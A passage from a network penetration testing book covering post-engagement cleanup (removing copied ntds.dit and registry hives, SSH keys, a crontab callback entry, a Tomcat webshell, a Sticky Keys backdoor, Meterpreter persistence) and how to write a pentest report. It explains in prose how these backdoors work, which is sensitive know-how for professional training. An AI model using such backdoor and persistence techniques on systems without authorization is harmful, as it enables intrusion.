in other situations where the client was “sure” I had broken something, and it wasn’t as easy to convince them otherwise. In this case, later that day the man came and told us what had caused the Exchange server to go down; he was very pro- fessional and apologized more times than necessary for assuming that we had caused the problem. 198 CHAPTER 11 Post-engagement cleanup Verify that the files were deleted by listing the contents of the directory with the dir c:\windows\temp command. You can see from the output that the sam and sys files are no longer present on the victim machine. Volume in drive C has no label. Volume Serial Number is 04A6-B95A CME 10.0.10.201:445 GOHAN Directory of c:\windows\temp CME 10.0.10.201:445 GOHAN 05/18/2020 08:27 AM <DIR> . 05/18/2020 08:27 AM <DIR> .. 05/13/2020 07:59 AM 957 ASPNETSetup_00000.log 05/13/2020 07:59 AM 959 ASPNETSetup_00001.log 05/18/2020 07:07 AM <DIR> FB8686B0-2861-4187-AF85 CB60E8C2C667-Sigs 05/18/2020 07:07 AM 58,398 MpCmdRun.log 05/18/2020 07:07 AM 59,704 MpSigStub.log 05/15/2020 07:15 AM <DIR> rad9230D.tmp 05/13/2020 08:20 AM 102 silconfig.log 05/13/2020 08:16 AM 286,450 SqlSetup.log 05/18/2020 08:27 AM 0 yBCnqc 7 File(s) 406,570 bytes 4 Dir(s) 2,399,526,912 bytes free 11.3.2 Removing SSH key pairs In section 9.1.2, you uploaded an SSH key to a compromised Linux system so that you could use it to auto-connect to your attacking machine. By itself, the SSH key doesn’t pose a significant risk to your client because it can only be used to connect to your computer. But it should still be removed as a courtesy and a best practice. To remove the key pair, SSH into the compromised Linux machine and run the command rm /root/.ssh/pentestkey*. This command will delete both the public and private key files. You can verify that the keys are gone by running the command ls -lah /root/.ssh. As you can see from the output, the keys are no longer present on the Linux server I compromised during the Capsulecorp pentest. total 8.0K drwx------ 2 root root 4.0K Apr 24 2019 . drwx------ 3 root root 4.0K Apr 24 2019 .. -rw------- 1 root root 0 Apr 24 2019 authorized_keys While you’re already cleaning up this compromised Linux target, you should also take care of the bash script that was created to use the SSH keys. The bash script you created in section 9.1.4 was placed in the /tmp directory and named callback.sh. Remove it by typing the command rm /tmp/callback.sh. Then verify that it has been removed with ls -lah /tmp. Listing 11.2 Directory listing with no registry hive copies Listing 11.3 Directory listing with no SSH key pairs There are no SSH key pairs. 199 Reversing configuration changes 11.3.3 Removing ntds.dit copies In section 10.3.1, you learned how to obtain a copy of the ntds.dit file as well as a copy of the SYSTEM registry hive file from the Capsulecorp Pentest domain controller. These files definitely should not be left lying around because they could be used to obtain Active Directory password hashes for the Capsulecorp Pentest domain. Again, connect to this machine using whatever means of remote access you prefer. I’ll use RDP for ease of use. Open a Windows command prompt, and run the following two commands to delete the ntds.dit and sys files that were placed on the root of the C: drive: del c:\ntds.dit del c:\sys You can see from the output that the files have been deleted. Volume in drive C is System Volume Serial Number is 6A81-66BB CME 10.0.10.200:445 GOKU Directory of c:\ CME 10.0.10.200:445 GOKU 01/03/2020 06:11 PM <DIR> chef 01/03/2020 06:11 PM <DIR> opscode 09/15/2018 07:19 AM <DIR> PerfLogs 01/03/2020 06:17 PM <DIR> Program Files 01/03/2020 06:09 PM <DIR> Program Files (x86) 03/10/2020 03:10 PM <DIR> Users 05/12/2020 11:37 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant] 05/12/2020 11:42 PM <DIR> Windows 0 File(s) 0 bytes 8 Dir(s) 123,165,999,104 bytes free TIP On Windows OSs, files are not permanently deleted until they are emp- tied from the Recycle bin. If you are cleaning up sensitive files on Windows systems—especially files containing credentials or password hashes—you should navigate to the Recycle bin and permanently delete the files. Don’t empty the entire Recycle bin, in case it contains files that were accidentally deleted by a system administrator. 11.4 Reversing configuration changes As a pentester playing the role of an attacker, it is often necessary to modify a server’s configuration to achieve a compromise of that target. Doing so is fair game under the rules of engagement and makes sense because after all, that’s what an attacker would do, and your client hired you to determine where they might be susceptible to attack. Now that the engagement is complete, though, it’s vital that you don’t leave your client’s network in an even more susceptible state than it was in before you arrived. Any modifications or changes you made to an application or server need to be Listing 11.4 Directory listing with no ntds.dit or registry hive copies There are no ntds.dit or registry hive files. 200 CHAPTER 11 Post-engagement cleanup reversed. In this section, I cover three configuration changes you made. First, in chap- ter 6, you enabled the xp_cmdshell stored procedure on a Microsoft SQL Server sys- tem. Second, also in chapter 6, you modified the file-sharing configuration of a directory on that server to download the registry SYSTEM and SAM copies. Third, in chapter 9, you modified the crontab of a compromised Linux server to run a remote access script that connected to your attacking machine. This was done to establish per- sistent re-entry into the target. All of the configuration changes need to be properly reversed. Let’s begin with the database server and the xp_cmdshell stored procedure. 11.4.1 Disabling MSSQL stored procedures In chapter 6, you learned how to compromise a vulnerable Microsoft SQL Server that used a weak password for the sa user account. To fully compromise the target, you first had to enable a dangerous stored procedure called xp_cmdshell, which allows OS command execution. You should disable this stored procedure on the affected host as part of your post-engagement cleanup activities. First, connect to the target using the sa account and password from chapter 6. Next, issue the sp_configure command to set the value for the xp_cmdshell stored procedure to zero (0), like this: sp_configure 'xp_cmdshell', '0'. As you can see in the output, the value was 1 and is now 0, which means the stored procedure has been disabled: [*] INFO(GOHAN\CAPSULECORPDB): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 0. Run the RECONFIGURE statement to install. You have to run the reconfigure command to make sure the configuration change takes effect, so run that command next. Then, verify that xp_cmdshell is disabled by attempting to run the OS command whoami: for example, exec xp_cmdshell 'whoami'. Just as you would expect, the following listing shows that the command fails because the xp_cmdshell stored procedure has been disabled on the SQL server. [-] ERROR(GOHAN\CAPSULECORPDB): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online. Because you’re already cleaning up the database server from chapter 6, let’s continue to the file share that was configured in section 6.2.2. Listing 11.5 Error message when attempting to use xp_cmdshell The value has been switched from 1 to 0. The SQL Server blocked access to xp_cmdshell. 201 Reversing configuration changes 11.4.2 Disabling anonymous file shares You may recall that in chapter 6, you also wanted to obtain a copy of the SYSTEM and SAM Windows registry hive files from this server to extract the local user account pass- word hashes. It was possible to use the reg command to place a copy of these hives on the filesystem, but there was no way to retrieve them remotely. To solve this problem, you created an unrestricted file share that you used to download the files. The share you created on the target server is called pentest. You can verify that this is the correct name of the share you created in your testing environment by running the command net share. As you can see from the output, the share called pentest is the one you need to remove from the Capsulecorp Pentest environment. Share name Resource Remark CME 10.0.10.101:445 GOHAN ----------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin pentest c:\windows\temp The command completed successfully. To delete this share, run the net share pentest /delete command. You will see the following message: pentest was deleted successfully. You can double-check that the share is gone by once again running the command net share. The following listing shows that the share is no longer present on the target server. Share name Resource Remark CME 10.0.10.201:445 GOHAN ----------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin The command completed successfully. The last configuration change you need to revert is the crontab entry you created in section 9.1.4. Let’s do that next, assuming you followed along and created a similar crontab entry in your own testing environment. 11.4.3 Removing crontab entries During your Linux post-exploitation activities in chapter 9, you learned how to config- ure a crontab entry to launch a bash script that establishes a remote connection to Listing 11.6 Windows net share command showing the pentest share Listing 11.7 Windows net share command showing no pentest share The pentest share to be deleted 202 CHAPTER 11 Post-engagement cleanup your attacking machine. This is similar to the Meterpreter autorun backdoor execut- able created in chapter 8, which you’ll clean up in section 11.5. To remove the crontab entry, connect to the Linux machine using SSH, and list the crontab entries for your user account with the command crontab -l. You will see output that looks similar to the following listing, which shows the entry for the /tmp/ callback.sh script that I created in chapter 9. # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command */5 * * * * /tmp/callback.sh To remove this crontab entry, run the command crontab -r. You can verify that the entry has been removed by running the crontab -l command again. You will see the message “no crontab for piccolo,” where piccolo is the username of the account you are using to access the Linux or UNIX server. In the next section, we discuss removing backdoors that were installed on compromised targets. 11.5 Closing backdoors Although configuration changes modify the behavior of systems already present on your target, sometimes it’s necessary on a pentest to add functionality that is not already there. In this case, I’m referring to creating a backdoor to ensure that you can reliably re-enter a compromised host. When cleaning up backdoors, you need to make sure they are no longer accessible and also delete any binary or executable files associated with them. In this section, you remove three backdoors that you created during the Capsule- corp pentest:  The web application archive (WAR) file used to compromise a vulnerable Apache Tomcat server  The Sticky Keys backdoor that you set up on a compromised Windows system  The persistent Meterpreter backdoor you created using Metasploit Let’s start with the Apache Tomcat WAR file. 11.5.1 Undeploying WAR files from Apache Tomcat In section 5.3.2, you learned how to deploy a malicious WAR file to an unsecured Apache Tomcat server. The WAR file that you deployed acted as a non-interactive web shell to the victim Tomcat server. Leaving the WAR file deployed would be bad form Listing 11.8 Crontab entry to run /tmp/callback.sh The crontab entry that needs to be removed 203 Closing backdoors and also leave your client potentially vulnerable to attack. Luckily, removing it from the Tomcat management interface is a straightforward process. First, log in to the Tomcat web management interface and scroll down to the Applications section. Find the WAR file you deployed; in this case, it’s the one named webshell. Click Undeploy in the Commands column (see figure 11.1). After you’ve done that, the page refreshes, and you see a status message telling you that the application has been undeployed (figure 11.2). Finally, just to be sure, browse to the application using an internet browser. As you can see in figure 11.3, the applica- tion is no longer present, and the Tomcat server returns a 404 Not Found message. Figure 11.1 Click Undeploy to undeploy webshell. Figure 11.2 Confirmation that webshell is undeployed Figure 11.3 Confirming that the WAR file has been undeployed 204 CHAPTER 11 Post-engagement cleanup 11.5.2 Closing the Sticky Keys backdoor In section 5.5.1, you learned how to create a backdoor to the Apache Tomcat server by replacing the Sticky Keys binary, sethc.exe, with a copy of the Windows command prompt, binary cmd.exe: the infamous Sticky Keys backdoor. This allows anyone who connects to the target server with a Remote Desktop Protocol (RDP) client to launch a system-level command prompt by pressing the Shift key five times. Instead of the Sticky Keys dialog, a command prompt with system privileges is launched. Leaving the server in this state creates additional risks for your client, so the backdoor needs to be closed when you are finished with your engagement. Connect to the server using whatever means of remote access you are most com- fortable with. I’ll use RDP for illustrative purposes. To move into the directory con- taining the Sticky Keys binary, type the following command at the prompt: cd c:\windows\system32 Now replace the backdoored binary file sethc.exe (which is actually a copy of cmd.exe) with the original binary that you set aside in chapter 5, with the command copy sethc.exe.backup sethc.exe. Last, verify that you have removed the backdoor by pressing the Shift key five times. You should see the familiar Sticky Keys dialog, not a Windows command prompt (figure 11.4). 11.5.3 Uninstalling persistent Meterpreter callbacks Back in chapter 8, I showed you how to set up a persistent Meterpreter autorun back- door executable to maintain reliable re-entry into a compromised Windows target. If you don’t take care of this binary, it will call out again and again to your attacking machine’s IP address and port number. Theoretically, if an attacker could stand up their own Metasploit listener on the same IP address and port, they could receive a Meterpreter session on this target, so you’d better be sure to clean up after yourself before closing out this engagement. Figure 11.4 Confirming that Sticky Keys works properly 205 Closing backdoors Luckily, Metasploit placed a handy resource file in the ~/.msf4/logs/persistence folder that contains the commands necessary to uninstall the backdoor. Inspecting the file with the cat command reveals that you need to run only two commands:  One to delete the .vbs script you created  A reg command to delete the registry key you created to autorun the .vbs file If I look in my persistence folder by running the command ls –lah, I can see that my file is called GOHAN_20200514.0311.rc, just as it says in this listing. total 12K drwxrwxr-x 2 pentest pentest 4.0K May 14 12:03 . drwxrwxr-x 3 pentest pentest 4.0K May 14 12:03 .. -rw-rw-r-- 1 pentest pentest 111 May 14 12:03 GOHAN_20200514.0311.rc Now, if I look at the contents of that file using the command cat GOHAN_ 2020514.0311.rc, I see the remove and registry commands that were just discussed (see listing 11.10). Remotely access Gohan using CrackMapExec (CME) and issue these commands one at a time, first deleting the YFZxsgGL.vbs file and then using reg deleteval to remove the registry key. NOTE You’ll notice that the first command, rm, doesn’t work on Windows because it isn’t a Windows OS command. The resource file can be run directly from within the Metasploit console. You could do so by typing run /path/to/resource/file. I don’t typically have an active Metasploit console running while I’m doing post-engagement cleanup, so I connect to the target machine and issue the commands manually, replacing rm with del. Feel free to use whatever method works best for you. rm c:////YFZxsgGl.vbs reg deleteval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -v OspsvOxeyxsBnFM I know the topic of cleaning up after yourself isn’t as exciting as hacking into remote systems and compromising vulnerable targets. That said, it is a necessary part of net- work pentesting, and you should take it seriously. Remember, the purpose of these cleanup activities is not to be confused with trying to erase your tracks or cover that you were there. It is instead to ensure that you don’t leave your client in a less secure state than they were in when you began the engagement. The next chapter covers the final step in completing your INTP: writing a solid pentest deliverable. Listing 11.9 Metasploit resource file to remove the Meterpreter autorun backdoor Listing 11.10 Contents of the resource file showing rm and reg commands Name of the resource file containing cleanup commands Path to the vbs file that needs to be deleted The reg command to delete the registry key 206 CHAPTER 11 Post-engagement cleanup Summary  Active shell connections need to be closed to prevent unauthorized people from using them to compromise targets on your client’s network.  You don’t delete local user accounts that you created. Instead, you deactivate them and notify your client so they can properly delete them.  Remove any miscellaneous files such as registry hive or ntds.dit copies that an attacker could use to compromise your client.  Configuration changes that leave systems in a less secure state than when you started your engagement need to be correctly reversed to their original state.  Any backdoors you left open to ensure reliable re-entry into a compromised tar- get need to be properly closed and removed to ensure that a real attacker can’t use them to compromise your client’s network. Exercise 11.1: Performing post-engagement cleanup Using your engagement notes as a reference, go back and perform post-engagement cleanup throughout your target environment:  Kill all active shell connections.  Deactivate all user accounts that you created.  Remove all leftover files that you placed on compromised hosts.  Reverse all configuration changes that you made. You can find a list of things that should be cleaned up from the Capsulecorp Pentest environment in appendix E. 207 Writing a solid pentest deliverable The final piece of the puzzle that you need to create is your engagement report— or, as it’s more commonly referred to in the industry, your deliverable. In this chap- ter, I go over all the components that make up a solid pentest deliverable. There are eight of them, and I explain the purpose of each section and what it should contain. Appendix D is an example of a complete standalone INTP deliverable, which I would present to Capsulecorp if it had been a real company that hired me to perform a pentest engagement. You can and should feel free to use this example report as a template or framework when creating your own deliverables. After you’ve produced a few, you’ll start to come up with your own style and adjust things to your liking. I don’t bother covering the style or look and feel of a deliverable because that’s completely up to the company you work for and their corporate branding guidelines. It’s important to point out that a pentest deliver- able is the work product of an individual company that sells pentesting services. For This chapter covers  The eight components of a pentest deliverable  Closing thoughts 208 CHAPTER 12 Writing a solid pentest deliverable that reason, deliverables differ in size, structure, color, fonts, charts and graphs, and so on from company to company. Rather than try to set the bar or establish a standard of excellence, I offer instead a set of guidelines that I believe most pentest companies are already following, so you should, too. You may find additional sections in other pentest reports, but the eight sec- tions you learn about in this chapter exist in every good pentest report you’ll ever read. 12.1 Eight components of a solid pentest deliverable Before diving into the details of each section, let’s first take a high-level look at all of them, as follows:  Executive summary—Serves as a standalone report that you present to executive leadership. They aren’t concerned with technical details, just the high-level bul- lets. This section answers the who, what, where, when, and why questions. The how answer is provided throughout the rest of the deliverable.  Engagement methodology—Explains the methodology you used to conduct the engagement. Usually, you also provide information about the type of attacker you’re modeling and then spell out the objectives and potential activities that take place throughout the four phases of your methodology.  Attack narrative—Should read almost as if you’re telling a story. Explain how you moved from A to Z, so to speak. Spell out all of the systems you had to compro- mise to take over the network, but leave the details of the compromises for the next section.  Technical observations—Nine times out of 10, this is the section your client will flip straight to upon opening your report for the first time. These observations, or findings as they’re more commonly referred to, explain in detail what was wrong from a security standpoint and how you were able to compromise sys- tems in the client’s environment. These findings should correlate directly with the authentication, patching, and configuration vulnerabilities you identified in chapter 4.  Appendix: severity definitions—Contains objective, fact-based definitions of exactly what your finding severity ratings mean. If written well, this section can help resolve disputes you may have with your client about a specific finding being marked as high or critical.  Appendix: hosts and services—Typically contains raw information in table form showing all the IP addresses you identified and all the ports and services that were listening on them. On a large engagement with thousands of hosts, I typi- cally put this information in a supplemental document such as an Excel spread- sheet.  Appendix: tool list—Typically a single page with a bulleted list of all the tools you used during your engagement and a hyperlink to each tool’s website or GitHub page. 209 Executive summary TIP A typical pentest statement of work (SOW) will include verbiage about tool development. If it isn’t in the SOW template your company uses, it’s not uncommon for your client to request to add it. Depending on the client, they may ask that any tools you create specifically for this engagement become their intellectual property. More often than not, this is to prevent you from writing a blog post saying that you just made a cool new tool that helped you hack into Company XYZ.  Appendix: additional references—I admit, this is filler that 9 out of 10 clients will not read. But it is typical for a pentest deliverable to contain a list of links to external resources that vary from hardening guides to best practice security standards published by industry authorities. Figure 12.1 depicts the eight sections of a successful pentest deliverable, from top to bottom. Although this isn’t written in stone, you’ll typically see the eight sections in this sequence. Now that you know which components to include in your pentest deliverable, let’s talk about each one in greater detail, beginning with the executive summary. 12.2 Executive summary The best way I can describe the executive summary portion of a penetration test deliv- erable is as a 30,000-foot view of the entire engagement. It’s a page or two at most that you could remove from the report and present as a standalone document to a busi- ness executive. The executive isn’t concerned with the specific details of the engage- ment, just the bullet points. A good executive summary answers the who, what, where, Executive summary High-level overview of the entire engagement Explains the four-phased penetration testing methodology Step-by-step walk-through of your attack path from beginning to end Also called findings: the issues that allowed you to penetrate the environment Objective definitions that remove personal bias from rating findings Open ports and services discovered during phase 1 List of tools you used during the engagement, usually with hyperlinks for more information Supplemental resources: usually best practice security guides from industry authorities Engagement methodology Attack narrative Technical observations Appendix: Severity definitions Appendix: Hosts and services Appendix: Tool list Appendix: Additional references Figure 12.1 The eight components of a solid pentest deliverable 210 CHAPTER 12 Writing a solid pentest deliverable and when; the rest of the pentest report focuses on the how (as mentioned already, but probably not for the last time). The final report of a pentest is the only tangible work product that clients are left with after an engagement. I’ve often joked that it’s a $20,000 Word document con- verted to PDF. Naturally, pentest companies or individuals try to differentiate them- selves from their competitors by adding all sorts of colorful charts, graphs, and data points. If you looked at 10 different executive summaries from as many different pentest organizations, you’d see differences in each of them. But you’d probably see the following in all of them:  Goals and objectives—What was the purpose of the engagement? What were the penetration testers attempting to accomplish, and why?  Dates and Times—When did the engagement take place, what date did testing begin, and when did it end?  Scope—What system or groups of systems were tested during this engagement? Were any systems excluded or not allowed to be tested?  High-level results—What happened? Was the test successful/unsuccessful? How so? What is the recommended course of action moving forward? These are considered to be minimum requirements. You can reference the executive summary in appendix D for a complete example from the Capsulecorp penetration test. Right after the executive summary is the section explaining the engagement methodology. NOTE In this section, I mention converting a Word document to a PDF. It should be mentioned that the integrity of a penetration test deliverable is highly important, and you should never give your client an editable docu- ment. This isn’t to suggest that clients are dishonest and would alter the report, but more of a control to ensure that they can’t alter the document in any way. 12.3 Engagement methodology The engagement methodology is important for a couple of reasons. First, it answers questions many readers of your report will have, such as, “How did you go about the testing?” and “What types of attacks were you most interested in?” The term penetration testing has become pretty obscure these days and can mean a hundred different things to a hundred different people. Describing your testing methodology up front and in as much detail as you can helps to set expectations and make sure you and the reader of your report are communicating with similar language. The second reason this section is important is for the inevitable “clean report” you’ll have to write one day. At some point in your career, you’ll conduct an engagement for a company that does a fantastic job of securing its network. Or maybe it limits your test- ing scope to the areas of the network it knows don’t have any issues. Either way, you’ll 211 Technical observations be forced to deliver a clean report without any findings in it. I can’t articulate exactly why this is painful to penetration testers, but it is. I imagine it has something to do with ego and feeling incompetent or unable to penetrate the environment. There is also a valid concern that your client will feel ripped off. They paid you $10,000 to do a pentest, and you gave them a report with nothing in it! What were you doing the whole time? What did they pay you for? This is where the methodology section can help illustrate all of the various testing activities and attack vectors you attempted against the scoped environment. A good engagement methodology section contains language describing the type of attacker that was emulated during the test. It should also explain the amount of information that was given up front in the form of white box, grey box, or black box descriptions. We covered this in section 2.1.1. TIP Of course, you’ll be using a template to complete your report, so the methodology can’t contain every single thing you did and every command you ran unless you want to rewrite it from scratch after every engagement. Instead, list the four-phased methodology you learned in this book and include bullet points for all the desired actions: identify live hosts, enumerate listening services, cross-reference reported software versions with known exploits, test authentication prompts for default credentials, and so on, all the way through the phases and components of your engagement methodology. 12.4 Attack narrative This section of the report should read like a short story summarizing exactly what you did as an attacker but with specific details. Describe in linear fashion how you went from plugging your laptop into a conference room data jack to taking control of the entire network with no up-front knowledge other than a list of IP address ranges. You can be somewhat vague in your attack narrative by saying things like “Protocol-specific target lists were targeted for vulnerability discovery,” because your engagement meth- odology section explains in more detail what protocol-specific target lists and vulnerability discovery mean. You can choose to illustrate your attack narrative with screenshots or keep it as text only. That is a personal preference, as long as you explain precisely how you carried out your attacks and articulate how and why you were able to achieve the level of access that you obtained during your engagement. 12.5 Technical observations The primary focus of your pentest report will be the technical observations, more commonly referred to as findings. These findings provide details about the authentica- tion, configuration, and patching vulnerabilities that allowed you to penetrate further into your client’s network environment. Findings should include the following: 212 CHAPTER 12 Writing a solid pentest deliverable  A. Severity rating—The severity rating assigned to that particular finding. Make sure it is consistent with your severity definitions. Severity ratings vary quite a bit between organizations, committees, frameworks, and even individual pentest- ers. This book makes no attempt to state an authoritative definition of what severity “low” or “medium” means. My only concern is that you have concrete, objective definitions for what you mean when you say something is of a particu- lar severity; I cover that later in this chapter.  B. Descriptive title—A one-sentence title that describes the finding. The title alone should explain the problem.  C. Observation—A more detailed explanation of what you observed.  D. Impact statement—A description of the potential impact on the business. A previous mentor of mine used to call it the “so what” factor. Imagine that you’re communicating your findings to a non-technical business executive. When you tell them you gained access to the database server, they respond with “So what?” Your impact statement is whatever you would say next to communicate why an attacker gaining access to the database is bad.  E. Evidence—This is self-explanatory. A screenshot, code listing, or command output will do the trick: something that shows proof that you were able to use the finding to compromise a target in some way.  F. Assets affected—The IP address or hostname of the assets affected. On a large engagement, sometimes a single finding affects dozens or even hundreds of assets. In that case, it’s common practice to move them into an appendix at the end of the report and merely reference the appendix in the finding.  G. Recommendation—Actionable steps that your client can take to resolve the issue. You can’t just say that something is broken and they should fix it; you need to provide guidelines for exactly what needs to be fixed. If it’s a complex issue, provide URLs to external resources. There are some examples of finding recommendations in table 12.1, as well as in the sample report in appendix D. Table 12.1 is an example of what a proper pentest finding looks like (see appendix D for additional findings from the Capsulecorp penetration test). Table 12.1 Sample pentest finding A. High B. Default credentials found on Apache Tomcat server C. Observation One (1) Apache Tomcat server was identified as having a default password for the administrator account. It was possible to authenticate to the Tomcat web management interface and control the application server using a web browser. D. Impact An attacker could deploy a custom web application archive (WAR) file to com- mand the underlying Windows operating system of the server hosting the Tomcat server. In the case of the capsulecorp.local environment, the Tomcat server was running with administrative privileges to the underlying Windows operating sys- tem. This means the attacker would have unrestricted access to the server. 213 Technical observations One last note before wrapping up technical observations (findings). Throughout The Art of Network Penetration Testing, you have learned how to conduct a specific type of engagement, which I frequently referred to as a penetration test. In the real world, defi- nitions are obscure, and companies offer a wide range of services that they refer to as a penetration test regardless of whether the environment was penetrated. I point this out because it relates to my philosophy about a solid pentest deliver- able, which essentially says that if you didn’t use a finding in some way to compromise a target, then it probably shouldn’t be in your report. When I issue a pentest report, I don’t include findings like “You’re not using up-to-date SSL ciphers” or “Host XYZ was running telnet, which isn’t encrypted.” These by themselves are not findings; they are best-practices deficiencies, which I would report on if I was doing something like an E. Evidence F. Asset affected 10.0.10.203 G. Recommendation Capsulecorp should change all default passwords and ensure that strong pass- words are being enforced for all user accounts with access to the Apache Tomcat server. Capsulecorp should consult its official password policy as defined by its internal IT/Security teams. If such a policy doesn’t exist, Capsulecorp should create one following industry standards and best practices. Additionally, Capsulecorp should consider the necessity of the Tomcat Manager web app. If a business need is not present, the Manager web app should be dis- abled via the Tomcat configuration file. Additional References https://wiki.owasp.org/index.php/Securing_tomcat#Securing_Manager_WebApp Table 12.1 Sample pentest finding (continued) A. High B. Default credentials found on Apache Tomcat server Operating system command. Output is displayed below. 214 CHAPTER 12 Writing a solid pentest deliverable audit or maybe a vulnerability assessment. A penetration test by definition is an attack simulation where the penetration tester attempts to attack and penetrate the scoped environment. Keep that in mind when you are writing up your technical observations. 12.5.1 Finding recommendations When writing up recommendations, it’s essential to keep in mind that you don’t fully understand the intricacies of your client’s business model. How could you? Unless you’ve spent way more time than is feasible given their budget, you couldn’t possibly learn the ins and outs of their business, which has probably evolved over many years and has been influenced by many people. Your recommendations should speak to the security issues that you observed and the improvements or enhancements the client can make to become less vulnerable to attack. Based on the three categories of vulnerabilities introduced in chapter 3—authenti- cation, configuration, and patching—you could conclude that your recommendations will fall into one of those three categories. Do not make recommendations for specific named tools or solutions. You don’t have the knowledge or expertise to tell your cli- ent, “Don’t use Apache Tomcat; instead, use product XYZ.” What you should do instead is recommend that strong passwords be enforced for all user accounts with access to the Apache Tomcat application, or that the configuration settings should match the latest security hardening standards from Apache (provide a link to those standards), or that the Tomcat application should be patched to the latest security update. All you have to do is clearly identify what was wrong (from a security perspec- tive) and then provide actionable steps to remedy the situation. 12.6 Appendices Penetration test deliverables often contain lots of appendices at the end of the four core components covered thus far. These appendices are supplemental and provide information that enhances the report. I’ve seen too many different appendices throughout my career to include them all in this chapter, but many of them were tai- lored to a specific type of client, business, or engagement. There are four key appen- dices that you’ll find in most pentest deliverables, and you should include them if you write one yourself. The first of these four appendices is called the severity definitions—at least, that’s what I call it. You can name it whatever you want, as long as the content does the job of explaining exactly what you mean when you say a particular finding is of high or criti- cal severity. 12.6.1 Severity definitions I absolutely cannot overstate the value of this section, which usually isn’t more than a single page. Later in the report, you provide what most people consider the meat and potatoes: the findings. It’s the report findings that drive change for the organization and create action items for the infrastructure teams to do things and implement 215 Appendices recommendations. Because system administrators are already busy with their day-to- day operations, companies want to rank and prioritize pentest findings. This way, they can focus on the most important ones first. For this reason, all pentest companies, vulnerability scan vendors, security research advisories, and similar companies assign a severity score to each finding. How bad is it from 1 to 10, for example? Or, as is much more common in pentest reports, is the severity high, medium, or low? Sometimes pentest companies add critical and informa- tional for a total of five rankings for findings. The problem is that words like medium, high, and critical are arbitrary and mean something different to me than they do to you and something different to someone else. Furthermore, we are all human and tend to allow our personal feelings to influ- ence our opinions. Thus, two people could debate all day long about whether a find- ing is of critical or high severity. For this reason, you should always include a page in your report that lists the sever- ity rankings you use and explicit, tangible definitions for each one. An example of an intangible definition would be something like, “High is bad, whereas critical is really bad.” What does that even mean? A less objective set of criteria would be something like this:  High—This finding directly resulted in unauthorized access to otherwise restricted areas of the scoped network environment. Exploitation of a high finding is typically limited to a single system or application.  Critical—A finding that impacts a business-critical function within the organiza- tion. Exploitation of a critical finding could result in a significant impact to the business’s ability to operate normally. Now it’s much more difficult to argue over the severity of a finding. Either the finding resulted in direct access to a system or application or it did not. If it did not, it isn’t a high finding. Or the finding could result in a significant business impact (shutting down the domain controller), or it could not (shutting down Dave’s workstation). If it can’t, then it isn’t a critical finding. 12.6.2 Hosts and services There isn’t a lot to say about this section of your report other than that you should have one. You don’t need to write any content other than a sentence or two to intro- duce the section; after that, it’s typically just a table that contains IP addresses, host- names, and open ports and services information. In extremely rare cases when you have an entirely closed-scope engagement—for example, you are asked to test a specific service on a specific host—you may not need to include this section. In 90% or more of cases, though, you’ll be given a range of IP addresses to discover and attack hosts and services. This section serves as a record of the hosts, ports, and services you identified. If you have an extensive network containing thousands of hosts and tens of thousands of listening services, you might choose to offer this information as a supplemental document in the form of an Excel spreadsheet. 216 CHAPTER 12 Writing a solid pentest deliverable 12.6.3 Tools list This is another straightforward section. The bottom line is that clients ask all the time about what tools you used during your engagement. Creating this appendix, which is usually no longer than a page, is an easy win that adds value to your deliverable. I typi- cally use a bulleted list with the name of the tool and a hyperlink to the website or GitHub page for that tool, as you can see in the following examples:  Metasploit Framework—https://github.com/rapid7/metasploit-framework  Nmap—https://nmap.org/  CrackMapExec—https://github.com/byt3bl33d3r/CrackMapExec  John the Ripper—https://www.openwall.com/john/  Impacket—https://github.com/SecureAuthCorp/impacket 12.6.4 Additional references What can I say about this final appendix? I admit, its contents will likely be about as generic as the title “additional references.” Nonetheless, it’s hard to imagine a solid pentest deliverable missing this section. Security is a huge beast, and pentesters are often passionate about security—usually with many strong recommendations that exceed the scope of the particular engagement. In this section, you can provide exter- nal links to standards and hardening guides from industry authorities like NIST, CIS, OWASP, and so on. This section varies the most among pentest companies. More mature pentest com- panies that regularly service large Fortune-500 companies often put together their own recommendations for setting up things like Active Directory, imaging gold stan- dards, proper patch management, secure software development, and other topics that most companies could do a better job of from a security perspective. 12.7 Wrapping it up At this point, your engagement is complete from a technical testing and reporting perspective. But in a real-world pentest, the work doesn’t end just yet. You typically have what’s called a close-out meeting where you walk through your report with the key stakeholders from the company that hired you. During this meeting, you explain the details of your findings and field technical questions from various teams in your cli- ent’s IT, infrastructure, and security organizations. If you are conducting your pentest not as a consultant but as a member of an inter- nal IT, infrastructure, or security team, then you probably have even more work to do after writing and delivering the content of your final deliverable. Doing internal pen- testing for the company you work for is easily 10 times harder than doing it as a con- sultant because now that the pentest is over, your colleagues have to fix the things you found. You will without question be involved in many more meetings, email discus- sions, report read-outs, and presentations for months after the engagement ends, depending on the level of penetration you obtained. 217 Wrapping it up Consultants have the benefit of walking away after the engagement is over. For lack of a better term, they can wash their hands of the project and go about their lives, sometimes never knowing whether the issues they uncovered were fully resolved. Some consultants struggle with this, and it’s one of many reasons a common career track for penetration testers is to work as a consultant for 5 to 10 years and then transi- tion to an internal security position. On the flip side, some enjoy the diversity and freedom of consulting. As a consul- tant, if your career lasts long enough, you get to be involved in many different compa- nies and learn from lots of smart people along the way. You might be the type who prefers a change of scenery every month or sometimes even every week; if that’s the case, becoming a professional pentester for a consulting company is an option you should consider. Whatever path you choose or whatever path chooses you, I hope you have found this book useful. My intention in writing it was to create a manual of sorts that someone with little to no experience in network penetration testing could use to execute a solid engagement from start to finish. Of course, I didn’t cover every possible attack vector or ways in which systems can be compromised, but that’s too much for a single book. I wanted to provide you with enough information to get started—but understand that there is still much to learn if this craft is something you wish to pursue fulltime. I’ve heard pentesters refer to themselves as professional search engine operators. This is tongue-in-cheek, of course, but it hits home that every engagement you conduct will present you with something you’ve never seen before. You’ll spend a lot of time on Google and Stack Overflow asking questions and learning about new technologies, because there are too many network applications to know them all. If you’ve grasped the concepts and framework laid out in this book, then you should have 